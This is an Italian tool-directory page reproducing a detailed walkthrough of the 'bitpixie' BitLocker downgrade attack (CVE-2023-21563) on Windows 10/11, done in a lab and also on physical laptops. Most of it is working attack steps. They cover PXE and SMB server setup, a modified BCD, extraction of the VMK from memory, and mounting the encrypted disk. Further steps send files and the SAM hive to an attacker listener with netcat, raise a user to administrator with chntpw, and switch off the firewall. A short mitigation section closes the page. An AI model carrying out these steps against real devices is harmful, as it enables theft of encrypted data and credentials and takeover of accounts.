Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
bitpixie — Cracking della crittografia BitLocker basato sulla vulnerabilità CVE-2023-21563 | Kitploit
Strumenti/GitHubGitHub/lr2006-robot/bitpixie
Escalation di PrivilegiStrumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàExploitPost-ExploitSicurezza HardwareApprendimento e FormazioneLab e Pratica
GitHublr2006-robot/bitpixie

bitpixie

Cracking della crittografia BitLocker basato sulla vulnerabilità CVE-2023-21563

Vedi Repository
32 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

bitpixie

Per il blog completo clicca qui

Riferimenti principali

  • Articolo del blog di syss
  • Repository Github di Syss

Implementazione dell'attacco Bitpixie a BitLocker

Riproduzione in ambiente virtuale. La macchina locale (macchina attaccante) utilizza Ubuntu 22.04.5 LTS, mentre le macchine vittima sono Windows 10 21H2 19041.1 e Windows 11 21H2 22000.318, entrambe con BitLocker abilitato. QEMU viene utilizzato come gestore di macchine virtuali, gestito tramite virt-manager; qui utilizzo la macchina virtuale Windows 11 per l'operazione.

I miei file relativi alla riproduzione provengono dal repository Github di Syss; sulla loro base ho adattato le versioni degli strumenti e gestito alcune situazioni impreviste. È possibile scaricarli e usarli direttamente oppure modificarli secondo le proprie esigenze. I file immagine delle macchine virtuali provengono da UUP Dump, che offre il download di varie versioni di Windows; dopo il download, eseguendo il file cmd o sh si ottiene il file immagine ISO.

Configurazione dell'ambiente della macchina virtuale vittima

Per quanto riguarda l'installazione e l'uso di QEMU e virt-manager, non mi dilungherò qui; tuttavia, gli utenti che hanno appena scaricato il programma devono abilitare la modifica XML in virt-manager tramite "Edit -> Preferences -> General -> Enable XML editing", così da poter modificare direttamente il file di configurazione XML della macchina virtuale.

Quando si crea la macchina virtuale, selezionare "Local install media (ISO image or CDROM)" e scegliere il file immagine ISO di Windows 11 scaricato in precedenza. Assegnare le risorse appropriate (CPU, memoria, spazio su disco, ecc.) e, infine, assicurarsi di selezionare "Customize configuration before install", così da poter modificare il file di configurazione prima dell'installazione. A questo punto potrebbe esserci un problema con il riconoscimento automatico del sistema; in tal caso possiamo selezionare manualmente "Microsoft Windows 10/11".

Ora iniziamo la configurazione. Il punto più importante (perché questo non può essere modificato in seguito, mentre il resto può essere ripetutamente modificato dopo la creazione) è che, nella scheda Overview, si selezioni come Firmware "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". Se non lo si seleziona, basta eliminare la macchina virtuale e ricrearla; non è un problema. Configurazione Overview della macchina virtuale

Poi andare nella scheda "Boot Options" e assicurarsi che "SATA CDROM 1" sia spuntato, altrimenti non sarà possibile installare il sistema. Si può spostare "SATA CDROM 1" in cima alla lista per semplificare l'avvio. A questo punto si può creare direttamente la macchina; dopo aver installato il sistema, si procederà con le altre modifiche di configurazione.

Vedete "Press any key to boot from CD or DVD..."? Premete un tasto qualsiasi per entrare nella schermata di installazione e completate l'installazione seguendo le istruzioni. Se per caso finite in un'altra schermata, niente panico: selezionate "Boot Manager", poi "UEFI: QEMU DVD-ROM" per tornare alla schermata precedente e avviare premendo un tasto qualsiasi. Boot Manager

Procedete con l'installazione del sistema; spuntate l'opzione per non avere una chiave di prodotto e installate la versione Professional. In seguito ci saranno cose come la registrazione dell'account e altre seccature; si consiglia di avviare direttamente offline per ridurre i problemi. Se questa opzione non è disponibile, usate Shift + F10 per aprire il prompt dei comandi e digitate OOBE\BYPASSNRO per abilitare l'opzione di creazione dell'account offline.

Dopo essere entrati normalmente nel sistema, potete digitare msinfo32 nel terminale per visualizzare le informazioni di sistema (verificate se la modalità è UEFI), poi spegnete direttamente la macchina e procedete a modificare la configurazione:

  1. Per il TPM, aggiungere "TPM 2.0" in "Add Hardware". Se non è presente il TPM, basta aggiungere TPM da "Add Hardware".
  2. In "SATA CDROM 1", sostituire il file immagine ISO con il file immagine virtio preparato in precedenza.
  3. In "Boot Options", spuntare anche "NIC".
  4. In "NIC", cambiare "Device model" in "virtio" e, nel XML, aggiungere <rom enabled="no"/> per abilitare l'avvio di rete. Ecco un esempio:
root@kitploit:~
<interface type="network">
  <mac address="52:54:00:2f:53:4e"/>
  <source network="default"/>
  <model type="virtio"/>
  <boot order="2"/>
  <rom enabled="no"/>
  <address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>

La scelta della configurazione di rete virtio è dovuta principalmente alla caratteristica di "paravirtualizzazione" dell'hardware di rete, che comunica direttamente con l'host. Inoltre, la disattivazione della ROM di avvio di rete serve a far comunicare direttamente il firmware UEFI con la scheda di rete virtio tramite il protocollo PXE integrato, evitando interferenze inutili durante l'avvio e garantendo di poter entrare correttamente nel sistema per le successive configurazioni e test.

Entrate nella macchina virtuale, installate i driver virtio tramite l'unità CD; la configurazione verrà completata automaticamente. Potete fare un semplice test per verificare che la rete funzioni. Successivamente, eseguite la crittografia BitLocker; potete creare un file flag sul desktop per la verifica successiva.

Se si esegue la riproduzione su una macchina fisica, basta collegare la macchina attaccante e la macchina vittima con un cavo di rete; non è necessario configurare virtio. Il resto della configurazione è praticamente identico. L'unica cosa da notare è che la macchina fisica può avere più interfacce di rete; è necessario selezionare l'interfaccia corretta per la configurazione.

La configurazione della macchina vittima è così completata; spegnetela direttamente. A questo punto possiamo procedere con lo sfruttamento della vulnerabilità seguendo i passaggi definiti in precedenza nel principio di sfruttamento.

Configurazione della macchina attaccante e attacco Bitpixie

Qui forniamo un'immagine di riferimento dell'intero flusso dell'attacco; potete dare prima un'occhiata generale al processo, che realizzeremo passo dopo passo in seguito: Flusso dell'attacco

Sulla macchina locale (macchina attaccante) devono essere installati i seguenti pacchetti software:

  • dnsmasq
  • impacket-smbserver
  • hivexregedit

Su Ubuntu o Debian, è possibile installarli con il seguente comando:

root@kitploit:~
sudo apt install dnsmasq libwin-hivex-perl python3-impacket

Nei file forniti dal progetto, eseguite il file build.sh per generare bitpixie-initramfs. Se volete modificare l'adattamento all'ambiente locale, potete modificare build.sh, configurare gli strumenti e i file di versione desiderati, quindi rieseguirlo per rigenerare bitpixie-initramfs.

Poi, digitate ifconfig nel terminale per trovare il gateway virtuale della macchina locale (macchina attaccante). Ecco un esempio con la mia macchina:

root@kitploit:~
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.123.1  netmask 255.255.255.0  broadcast 192.168.123.255
        ether 52:54:00:23:11:39  txqueuelen 1000  (Ethernet)
        RX packets 46749  bytes 4384179 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 67170  bytes 414459630 (414.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Utilizzate i seguenti comandi per avviare il server TFTP per il processo di avvio PXE e il server SMB per il trasferimento dello script che modifica il file BCD, inserendo i dati appena trovati; nel mio caso è virbr0.

root@kitploit:~
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
root@kitploit:~
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>

Il problema principale è che il comando bcdedit può essere eseguito solo come amministratore locale. Tuttavia, poiché il file BCD si trova sulla partizione EFI non crittografata del drive, esistono diversi metodi per estrarlo. Un metodo è rimuovere fisicamente il disco rigido ed estrarre il file BCD su un altro sistema. Un metodo più semplice e meno invasivo, però, è avviare le opzioni di avvio avanzate. Nella maggior parte dei sistemi basta Shift + riavvio per farlo. Questo metodo funziona anche dalla schermata di accesso. Ora si può digitare la riga di comando in "Risoluzione dei problemi -> Opzioni avanzate -> Prompt dei comandi". Durante questa procedura è molto probabile che venga visualizzata la schermata di ripristino di BitLocker; è possibile saltarla usando il pulsante "Salta questo drive".

Ora digitate prima ipconfig nel terminale per controllare la situazione della rete. Se appare un IP del tipo 10.13.37.xxx, potete saltare direttamente i passaggi successivi. Se non appare, dovete configurare manualmente la rete: prima individuate il percorso corretto, verificate quale unità è e selezionate la versione della vostra macchina virtuale:

root@kitploit:~
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64

Quindi, in base al risultato, digitate i seguenti comandi per configurare la rete:

root@kitploit:~
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

Network Configuration

Una volta comparso l'indirizzo IP, si può procedere con il trasferimento SMB. Digitando i seguenti comandi, il file BCD modificato verrà spostato direttamente sulla macchina dell'attaccante, così si potrà iniziare subito l'attacco bitpixie vero e proprio:

root@kitploit:~
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

BCD_SMB

A questo punto torniamo alla schermata e, tramite "Usa un dispositivo -> Avvio PXE", avviamo il boot loader declassato, carichiamo il BCD modificato, sblocchiamo il disco, il kernel fallisce l'avvio ed esegue pxesoftreboot. Se l'avvio PXE non viene trovato, potete uscire e controllare la configurazione della macchina virtuale, verificando che l'opzione NIC in "Boot Options" sia spuntata. Poiché controlliamo il server PXE, possiamo entrare nel sistema Debian che abbiamo preparato in precedenza.

Quindi, digitiamo root per accedere, usiamo il comando su e poi eseguiamo il nostro script sulla partizione:

root@kitploit:~
run-exploit /dev/sda3

Run Exploit

Se tutto va bene, verranno mostrati direttamente i dati VMK corrispondenti e nella directory corrente vedremo un file vmk.dat: questo è il file VMK che abbiamo estratto dalla memoria. Il contenuto del disco crittografato è montato nella directory /mnt, quindi possiamo entrare direttamente e visualizzare il file flag creato in precedenza. Flag File

A questo punto, abbiamo sfruttato con successo la vulnerabilità Bitpixie, estratto il file VMK del disco crittografato con BitLocker e acceduto al contenuto del disco crittografato.

Naturalmente, possono verificarsi alcuni problemi, ad esempio il mancato ritrovamento del file VMK. In questo caso si consiglia di riprovare, perché il VMK potrebbe non essere stato conservato correttamente in memoria o non essere stato scansionato correttamente; potrebbe anche essere dovuto a una versione non corrispondente del BCD. Un'altra situazione è quando il file VMK viene trovato ma il disco crittografato non può essere montato: ciò potrebbe dipendere da un file VMK incompleto o danneggiato. È necessario trovare l'identificatore valido 03 20 01 00; si può provare a estrarre nuovamente il file VMK oppure verificare se lo strumento utilizzato supporta la versione di BitLocker del sistema corrente (dislcker è bloccato su una versione stabile e vecchia; potete scaricare una nuova versione).

A questo punto abbiamo accesso ai file che ci servono, ma non abbiamo ancora esportato i file originali del computer. Qui possiamo trasferire i dati necessari direttamente alla macchina attaccante tramite la rete. Io ho scelto di trasferirli direttamente via rete alla macchina attaccante. Il mio consiglio è di trasferire solo i file utili; i file di sistema non sono necessari. Qui prendo come esempio il file flag sul desktop e il file SAM del sistema.

Per trasferire file di piccole dimensioni, basta aprire una porta di connessione sulla macchina attaccante:

root@kitploit:~
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM

Sulla macchina vittima, digitate i seguenti comandi per trasferire i file alla macchina attaccante:

root@kitploit:~
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445

Se si tratta di trasferire una cartella, bisogna prima creare un archivio e poi trasferirlo:

root@kitploit:~
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446

Anche se abbiamo già ottenuto l'accesso al disco crittografato, non abbiamo ancora il controllo totale del computer della vittima. A questo punto, possiamo usare lo strumento chntpw per modificare le password degli account utente nel sistema e ottenere così i privilegi di amministratore. Naturalmente, preferisco creare un utente con privilegi limitati e poi elevarlo ad amministratore: è più stabile.

Qui elevo un utente con privilegi limitati, Dorange, ad amministratore. Per prima cosa dobbiamo usare chntpw per modificare i privilegi dell'account utente; ecco un comando di esempio:

root@kitploit:~
chntpw -u Dorange /mnt/Windows/System32/config/SAM

Naturalmente si può anche accedere prima con il comando e scegliere di visualizzare quali utenti esistono:

root@kitploit:~
chntpw - /mnt/Windows/System32/config/SAM

chntpw

Quindi basta seguire le istruzioni per modificare i privilegi: si può modificare direttamente i privilegi oppure aggiungere l'utente al gruppo degli amministratori; in fondo la differenza è minima. Qui consiglio di aggiungere direttamente al gruppo degli amministratori, perché è più stabile. Una volta completata la modifica, si può usare il comando chntpw -i SAM per verificare i privilegi. chntpw_modify

Attenzione: è necessario smontare la partizione BitLocker per garantire che tutte le modifiche vengano scritte su disco, prima di riavviare il sistema. Infine, accedete al sistema per verificare se la nostra modifica è riuscita: digitate net localgroup Administrators nel terminale per vedere i membri del gruppo degli amministratori e controllare se l'utente Dorange che abbiamo aggiunto in precedenza è presente. Administrator Group

Ora abbiamo implementato con successo sulla macchina virtuale il bypass di BitLocker basato sulla vulnerabilità CVE-2023-21563, estratto il file VMK, acceduto al contenuto del disco crittografato ed esportato i file importanti; inoltre abbiamo elevato con successo un utente con privilegi limitati a privilegi di amministratore.

Implementazione su macchina fisica

La configurazione su una macchina fisica non è così agevole come su una macchina virtuale. Fondamentalmente, seguendo i passaggi precedenti, la macchina virtuale può essere usata direttamente senza troppi requisiti hardware. Con una macchina fisica, invece, è necessario controllare la configurazione hardware passo dopo passo. Nota: la maggior parte dei computer ha per impostazione predefinita la versione Home, ma sembra che solo la versione Professional supporti la funzione BitLocker, quindi potrebbe essere necessario un aggiornamento della macchina fisica.

Durante gli esperimenti del nostro team, abbiamo scoperto che con la nuova versione di Windows 25H2 l'attacco è quasi impossibile. Innanzitutto, quando si accede alla riga di comando dalle opzioni avanzate, non è possibile saltare l'inserimento della chiave di ripristino di BitLocker. Anche se si riesce a entrare, durante il soft reboot PXE è comunque necessario inserire la chiave di ripristino di BitLocker per poter usare il boot loader.

Inoltre, i requisiti hardware iniziali per la macchina fisica sono piuttosto elevati: alcuni notebook sottili e leggeri e vecchi laptop da gaming non supportano l'avvio PXE a livello hardware. Qui mostro un notebook sottile e leggero Xiaomi il cui hardware non supporta l'avvio di rete (se supportato, in genere è presente l'opzione Network Boot): xiaomi

Inoltre, per i notebook ASUS, un marchio comune in Cina, abbiamo scoperto che anche con versioni di Windows relativamente basse, dopo il fallimento dell'avvio PXE il sistema si blocca durante il processo di avvio del nostro kernel (sospettiamo che l'hardware del produttore imponga alcune restrizioni).

Per prima cosa bisogna verificare se la macchina vittima supporta l'avvio UEFI: si può controllare digitando msinfo32 in Windows per visualizzare le informazioni di sistema. Se nel riepilogo di sistema si vede che la "Modalità BIOS" è "UEFI", significa che l'avvio UEFI è supportato.

La cosa più importante è verificare se la nostra macchina fisica ha già ricevuto la patch correttiva. Digitare Get-HotFix nel terminale dell'amministratore per controllare lo stato delle patch di sistema: se è già stata installata KB5025885 o una patch successiva, la vulnerabilità non può essere sfruttata. Allo stesso tempo, dobbiamo verificare se il nostro certificato è la versione vecchia (ho sentito che Microsoft ha rilasciato un nuovo certificato nel 2026, non so se sia vero).

root@kitploit:~
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"

Patch Check

Per quanto riguarda la configurazione del TPM, cercate Gestione dispositivi in Windows ed entrate in "Dispositivi di sicurezza" per verificare se è presente un dispositivo TPM e se la versione è 2.0; in caso contrario, è necessario abilitare la funzione TPM nel BIOS. Successivamente, digitate manage-bde -protectors -get C: nel terminale dell'amministratore per verificare lo stato di crittografia di BitLocker. Se i PCR del TPM non sono 7 e 11, dobbiamo effettuare una regolazione manuale (sembra che i valori predefiniti attualmente in uso siano 0, 2, 4, 11).

Innanzitutto, premete "Win + R" e digitate gpedit.msc per aprire l'Editor criteri di gruppo locali. Seguite il percorso "Configurazione computer -> Modelli amministrativi -> Componenti di Windows -> Crittografia unità BitLocker -> Unità del sistema operativo", trovate l'opzione "Configurare il profilo di convalida della piattaforma TPM per le configurazioni firmware UEFI native", entrate, impostate la voce su "Abilitata" e selezionate "PCR 7 e 11" nelle opzioni, quindi confermate ed uscite. TPM Configuration

Successivamente, tornate al terminale dell'amministratore: prima eliminate il vecchio proteggitore TPM, poi aggiungete nuovamente il proteggitore TPM; in questo modo la configurazione utilizzerà i PCR 7 e 11 impostati in precedenza. Nota: come sappiamo, i nostri file di avvio sono versioni vecchie usate per l'inganno, quindi i PCR non devono assolutamente includere 4, altrimenti l'attacco non può essere completato:

root@kitploit:~
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:

TPM Protector

La macchina fisica potrebbe non avere l'avvio PXE IPv4 abilitato per impostazione predefinita, quindi dobbiamo entrare nel BIOS per abilitarlo. Potete cercare online quale scorciatoia da tastiera consente di entrare nel BIOS (varia da computer a computer, quindi non lo spiego qui); in alternativa, usate "Shift + riavvio" e poi navigate in "Risoluzione dei problemi -> Opzioni avanzate -> Impostazioni firmware UEFI" per riavviare e accedervi. Sul mio computer fisico, nella scheda Advanced del BIOS, c'è Advance\Network Stack Configuration: basta abilitare Network Stack e Ipv4 PXE Support. BIOS Configuration

Ora procediamo con la configurazione della connessione di rete fisica: è necessario collegare la macchina attaccante e la macchina vittima con un cavo di rete. Sulla macchina attaccante bisogna avviare un server DHCP per assegnare un indirizzo IP alla macchina vittima (può essere assegnato manualmente). Avviate il server DHCP in anticipo sulla macchina attaccante:

root@kitploit:~
./start-server.sh smb <interface>
./start-server.sh pxe <interface>

In seguito, potete provare a fare ping all'indirizzo IP della macchina vittima per vedere se la rete funziona; se non funziona, è necessario controllare la configurazione di rete:

root@kitploit:~
brctl show virbr0

Controllate se la voce interfaces è vuota; se lo è, dobbiamo aggiungere manualmente l'interfaccia di rete fisica. Prima visualizzate, poi aggiungete (dovete identificarla da soli):

root@kitploit:~
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0

Network Configuration

Quando ricontrolliamo la voce interfaces, dovremmo vedere l'interfaccia di rete fisica che abbiamo aggiunto. A questo punto possiamo provare a fare ping all'indirizzo IP della macchina vittima; l'indirizzo IP della macchina vittima si può visualizzare digitando ipconfig sulla macchina vittima stessa. Se il ping non funziona, è necessario controllare la configurazione di rete e assicurarsi che la macchina attaccante e la macchina vittima siano sulla stessa rete.

Se la macchina vittima riesce a fare ping alla macchina attaccante ma la macchina attaccante non riesce a fare ping alla macchina vittima, è necessario controllare le impostazioni del firewall della macchina vittima e assicurarsi che il traffico proveniente dalla macchina attaccante sia consentito. Si può disattivare temporaneamente il firewall:

root@kitploit:~
netsh advfirewall set allprofiles state off

Naturalmente, sulla macchina attaccante, per garantire che il traffico della sottorete 10.13.37.0/24 non venga intercettato, eseguite questi due comandi (in realtà di solito la connessione funziona anche senza configurarli):

root@kitploit:~
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT

Ma in realtà, quando si accede alla riga di comando tramite l'avvio avanzato, il passaggio della connessione di rete spesso non avviene automaticamente, proprio come nella configurazione della macchina virtuale vista in precedenza: dobbiamo configurare manualmente i driver. Naturalmente non è semplice come con la macchina virtuale. Per prima cosa dobbiamo preparare i file dei driver su una chiavetta USB, poi caricare i driver sulla macchina vittima e configurare la rete. Questo passaggio è semplice e quasi identico a quello precedente, quindi non mi dilungo. I passaggi successivi sono gli stessi di quelli della macchina virtuale: basta seguire i passaggi precedenti per ottenere il file BCD di cui abbiamo bisogno.

Naturalmente, in realtà possiamo anche estrarre direttamente il file BCD da una macchina virtuale con lo stesso sistema della macchina fisica: in questo modo non è necessario configurare la rete sulla macchina fisica. Basta estrarlo sulla macchina virtuale e poi trasferirlo alla macchina attaccante tramite SMB. Questo metodo è molto più semplice e comodo, ma comporta anche un certo rischio: la versione del BCD potrebbe non corrispondere e di conseguenza il file VMK potrebbe non essere trovato in seguito.

In seguito si entra nell'avvio PXE e le operazioni successive non differiscono. Tuttavia, a causa di problemi come il mancato supporto hardware, possono verificarsi errori di avvio che portano a crash, oppure si riesce a entrare ma non si ottiene il file VMK. Quindi, quando si esegue la riproduzione su una macchina fisica, è molto probabile che il tasso di successo sia molto basso a causa di vari problemi software/hardware. Forse questo è anche uno dei motivi per cui questa vulnerabilità, pur apparendo grave, non è stata ampiamente sfruttata e corretta.

Conclusione: misure di mitigazione efficaci

Questo articolo mostra che l'autenticazione pre-avvio impedisce agli attaccanti non autorizzati di accedere al contenuto del disco rigido crittografato. Tuttavia, l'autenticazione pre-avvio non impedisce a un attore interno malintenzionato in possesso di un PIN BitLocker valido di ottenere l'accesso amministrativo locale al dispositivo, disabilitare l'antivirus o estrarre le credenziali memorizzate nella cache. Questo è particolarmente critico per i sistemi condivisi, perché consente all'attaccante di accedere direttamente ai dati degli altri utenti dello stesso sistema.

Una delle misure efficaci per prevenire gli attacchi di downgrade è modificare i PCR controllati dal TPM durante lo sblocco. In risposta alla vulnerabilità del boot manager CVE-2024-38058, Microsoft ha aggiunto il PCR 4 al processo di avvio misurato. Questo registro contiene l'hash del codice del boot manager e di tutti i tentativi di avvio. Attualmente, alcuni computer hanno già come valori PCR predefiniti 0, 2, 4, 11.

Il boot manager vulnerabile utilizzato per gli attacchi di downgrade è firmato da Microsoft Windows Production PCA 2011. Questo certificato ha una validità di 15 anni, il che significa che è valido fino a giugno 2026. Anche Microsoft UEFI CA 2011 (usata per firmare i boot manager di terze parti) e Microsoft Corporation KEK CA 2011 (responsabile della gestione del database e dei contenuti DBX) subiranno un destino simile. Pertanto, Microsoft ha registrato un nuovo set di certificati radice nel 2023; per firmare il boot manager di Windows verrà utilizzata la nuova Windows UEFI CA 2023. Attualmente la registrazione di questa autorità di certificazione non è stata ancora completata automaticamente, ma può essere eseguita applicando manualmente la patch KB5025885. Questa patch aggiunge la nuova CA al database, installa il boot manager firmato dalla CA 2023 e revoca la CA 2011 aggiungendola al database DBX.

Vi prego, una stella!

Se vi è stato utile, lasciate una stella al progetto Github!!! star

Dichiarazione di esclusione di responsabilità

Dichiarazione di esclusione di responsabilità: tutti i miei articoli sono condivisioni tecniche, registrazioni effettuate a scopo difensivo; tutte le operazioni sono state eseguite in un ambiente sperimentale. Non utilizzatele per altri scopi; in caso contrario, ve ne assumete la piena responsabilità.

Scarica lo strumento